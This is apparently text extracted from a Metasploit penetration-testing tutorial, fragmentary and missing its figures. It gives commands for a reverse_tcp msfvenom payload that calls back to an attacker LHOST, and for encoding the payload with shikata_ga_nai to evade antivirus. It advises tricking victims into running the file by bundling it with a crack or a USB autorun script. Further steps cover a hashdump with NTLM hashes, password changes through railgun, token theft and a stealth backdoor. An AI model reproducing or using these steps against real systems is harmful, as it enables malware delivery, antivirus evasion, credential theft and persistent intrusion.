Advanced Pentesting Techniques With Metasploit
Advanced Pentesting Techniques With Metasploit
Advanced Pentesting Techniques With Metasploit
Introduction ............................................................................................................................................................................... 3
1. AUXILIARY .............................................................................................................................................................................. 4
1.a Scanners ........................................................................................................................................................................... 4
1.b Fuzzers ............................................................................................................................................................................. 7
1.c Credential harvesting ..................................................................................................................................................... 11
2. POST EXPLOITATION ............................................................................................................................................................ 14
2.a privilege escalation ........................................................................................................................................................ 14
2.b IE proxy PAC ................................................................................................................................................................... 26
3. MISCELLANEOUS .................................................................................................................................................................. 34
3.a NOP generator ............................................................................................................................................................... 34
3.b encoders ........................................................................................................................................................................ 37
4. Advanced module/payload configuration options .............................................................................................................. 40
5. Writing custom Metasploit modules. .................................................................................................................................. 43
6. Stealthy techniques when using Metasploit. ....................................................................................................................... 48
Advanced Metasploit 3
Introduction
Metasploit is an open source application for security that was created by HD in 2003. Many exploits are contained in
Metasploit, because Metasploit has a framework, which allows any user access to any modules desired. Metasploit has
the architecture shown below:
1. AUXILIARY
AUXILIARY is a collection of modules that do not use a payload. Functions of the auxiliary modules include port scanning,
fingerprinting, service scanners, etc. Auxiliary modules also include several different types of protocols, such as scanners,
network protocol fuzzers, wireless, and denial of service.
1.a Scanners
This module, contained in auxiliary, scans to find the information on targets ranging from open ports to even identifying
the OS in use by the target. See the illustrations below:
After Metasploit loads, I use the module ssh_login with the following command:
msf > use auxiliary/scanner/ssh/ssh_login
Then I set the target to be scanned with the command:
msf auxiliary(ssh_login) > set RHOSTS 192.168.109.132
RHOSTS => 192.168.109.132
Note:
-i is the command for interacting with ID number
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
Advanced Metasploit 7
1.b Fuzzers
Fuzzing is a technique in which an attacker exploits the weaknesses of an application that is used by the target. Usually
these weaknesses could cause the target to crash, which can even provide access into the target terminal. In Metasploit,
Advanced Metasploit 8
there are several modules that can be used for such an application, including DNS, FTP, SSH, HTTP, SMB, SMTP, and TDS.
However, not all versions of these applications be attacked using a fuzzer module contained in Metasploit.
This technique is illustrated below:
The picture above shows Metasploit using fuzzing against the target, but not all versions of SSH have this vulnerability. So,
if SSH in the target does not crash, there is the possibility that SSH is already in the patch.
After that, I can see more options in this module with the command:
msf post(windows_autologin)> show options
The above picture shows an option contained in the module. Here I am just setting part of the session, which is used with
the command:
msf post(windows_autologin)>sessions -i
2. POST EXPLOITATION
Another technique that the attacker can use to gain further access to the target's internal network is packet sniffing. An
attacker can also put a backdoor to retain access to the target.
Note:
- Msfpayload command creates a payload using reverse_tcp
- LHOST is an IP attacker
- LPORT is a computer port attacker
- X command creates an exe file named cupenkz.exe
After making the application payload, you need to trick the unsuspecting targets in order to use the payload silently, such
as by combining it with a program like crack or install autoscript usb, which is useful when installed in the target computer;
then the application will run. In this case, I just give an example of how best to move so that the application is executed
with the target.
After that, I run the exploit handler on a computer attacker, with the command:
The function of the above command is that, when cupenkz.exe is executed with a target computer, the attacker computer
is ready to receive the payload and open a reverse connection from the target computer.
F IGURE 29: RUNNING EXPLOIT HANDLER AND THE TARGET 192.168.130.1 CONNECTED FOR RUNNING THE PROGRAM CUPENKZ .EXE
After setting the LHOST attacker on the computer, I run the command:
msf exploit(handler) > run
Then, when one of the files that we uploaded earlier (cupenkz.exe) is executed by the target, it will look like the image
above.
The above-owned user access is usually limited to the user, not the administrator or root.
The picture above shows where the system is created using a local exploit. Here I took over the account system; in other
words, the root account. If you have the root account, then you can take over the entire contents of the target computer.
Advanced Metasploit 20
UAC (user account control) is a security feature in Windows. Each function that appears to be accessing files or applica-
tions on a Windows system will display a warning from UAC asking for confirmation as a security feature. This feature can
be deactivated (disabled) so you are not disturbed by the frequent Windows question, "Do you want to allow the follow-
ing program to install software on this computer?"
UAC/user account control is a technology and security infrastructure introduced with Microsofts Win-
dows Vista and Windows Server 2008 operating systems, with a more relaxed[1] version also present in
Windows 7 and Windows Server 2008 R2. It aims to improve the security of Microsoft Windows by limit-
ing application software to standard user privileges until an administrator authorizes an increase or ele-
vation. In this way, only applications trusted by the user may receive administrative privileges, and mal-
ware should be kept from compromising the operating system. In other words, a user account may have
administrator privileges assigned to it, but applications that the user runs do not inherit those privileges
unless they are approved beforehand or the user explicitly authorizes it.
Why do we need an exploit to bypass UAC? The exploit is a technique by which we can take over the targeted computer.
There are two types of exploit attacks, namely remote and local. Usually a remote exploit is used when an application on
the target has a vulnerability that can be accessed remotely (via the port connection). In this example, we use SSH, FTP,
etc. A local exploit usually finds the cracks in the application contained on the targeted computer. See the illustration be-
low.
F IGURE 43: CUPENKZ USER PASSWORD BEFORE CHANGING EBB 51400 C 232862211 DB 317 DA0793 BC 9
The above shows six users who are on the target computer; now I'll try change the password cupenkz using the following
command:
>> client.railgun.netapi32.NetUserChangePassword(nil, "cupenkz", "cupenkz",
"cupenkz123")
Note:
- client.railgun.netapi32.NetUserChangePassword <= command to use neta-
pi32.dll and use the function NetUserChangePassword
- nil <= domainname
- cupenkz <== username
- cupenkz <== oldpassword
- cupenkz123 <== newpassword
To check if the cupenkz password has been replaced or not, I checked with the command:
Meterpreter > hashdump
Advanced Metasploit 23
ad-
min:1003:aad3b435b51404eeaad3b435b51404ee:3008c87294511142799dca1191e69a0f:::
Administra-
tor:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
cu-
penkz:1004:aad3b435b51404eeaad3b435b51404ee:cd84df77d079b66945e777398b4d4937:::
fat-
boygagslim:1000:aad3b435b51404eeaad3b435b51404ee:7398d3b8ece0f71589fbfa3d3c54480f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Updatu-
sUser:1001:aad3b435b51404eeaad3b435b51404ee:0d7025661596df7289a35b32f20b4bb8:::
F IGURE 45: CUPENKZ PASSWORD HAS BEEN REPLACED TO BECOME CD 84 DF 77 D 079B 66945E 777398B 4 D4937
You can see the cupenkz password before is cd84df77d079b66945e777398b4d4937; the password that was changed ear-
lier is ebb51400c232862211db317da0793bc9.
For more details, I look at the functions that are on netapi32.dll in this directory:
root@sungai:cd /usr/share/Metasploit- frame-
work/lib/rex/post/Meterpreter/extensions/stdapi/railgun/def
root@sungai:/usr/share/Metasploit- frame-
work/lib/rex/post/Meterpreter/extensions/stdapi/railgun/def# less
def_netapi32.rb
see function NetUserChangePassword
dll.add_function('NetUserChangePassword', 'DWORD', [
["PWCHAR","domainname","in"],
["PWCHAR","username","in"],
["PWCHAR","oldpassword","in"],
["PWCHAR","newpassword","in"]
])
Above is a function that allows the user to change the password using railgun with netapi32.dll. After you change the user,
you can only login using RDP. This technique could possibly be used when you are a user/guest, but you want to get more
access to the admin/root; then you can just replace the users, or create new functions to be added as admin.
Advanced Metasploit 24
For the third function 3: Service - Token Duplication (In Memory/Admin), which involves stealing the token in the system, I
am using an application on Metasploit incognito to steal the token on the target system. Use the command:
Meterpreter > use incognito
Loading extension incognito...success.
Meterpreter >
To check whether the token has been successfully used, I use the command:
Meterpreter > getuid
Server username: fatboygag-slim\fatboygagslim
To ascertain whether the .pac file has been set on the target computer, I check the target. I open IE, chose menu Internet
Options, and select the option as shown below.
To better ascertain whether hF Vnk.pac is loaded or not, I use View Source and look for the link authentication used, as
shown below:
3. MISCELLANEOUS
A function of this technique is bypassing security contained in the target. As a small example, it can bypass antivirus and
IDS (instruction detecting system).
As can be seen from the picture above, shell_bind_tcp can make a connection back from the target when the target exe-
cutes the payload, and then the target will be connected to the computer attacker using attacker port 4444. To execute
the payload, use the command below:
msf payload (shell_bind_tcp) > generate
Advanced Metasploit 36
3.b encoders
This is a technique that is used to bypass anti-virus or IDS/IPS. It is usually used by someone to create a Trojan and is not
detected by anti-virus software.
At this time, I will make a payload.exe using msfvenom with the command:
root@sungai : ~# msfvenom -p windows/Meterpreter/reverse_tcp
LHOST=192.168.109.130 LPORT=6969 -x -f exe >
/root/Desktop/cupu.exe
Note:
-p is the command to choose the payload used
-x is the command to specify a custom executable file to use as a template
-f is the command for an output format file to be produced
To the above command, I add the encode options -e x86_shikata_ga_nai, and the results of the cupenkz.exe file on scan-
ning www.virustotal.com, as shown below.
Advanced Metasploit 39
The picture above shows that the cupenkz.exe file as completely undetectable by antivirus software, using shikata_ga_nai
encoding.
Advanced Metasploit 40
The picture above shows that the OS used by the target is Fedora 21 and there is some log information that has been
stored on the computer attacker. By using AutoRunScript, you can make an attack and obtain the information contained in
the target. Examples of the information obtained are shown below.
Advanced Metasploit 42
The picture above shows the results log on Samba configuration, and shows where the log files are stored by the comput-
er attacker.
Advanced Metasploit 43
My second example is where, after getting access to a computer target, I put a stealth backdoor into the victim's computer.
The backdoor is installed here using the migrate feature contained in Meterpreter. The feature creates a fictitious process
on the target computer.
Here I use the PS command in Meterpreter when a target has been hacked: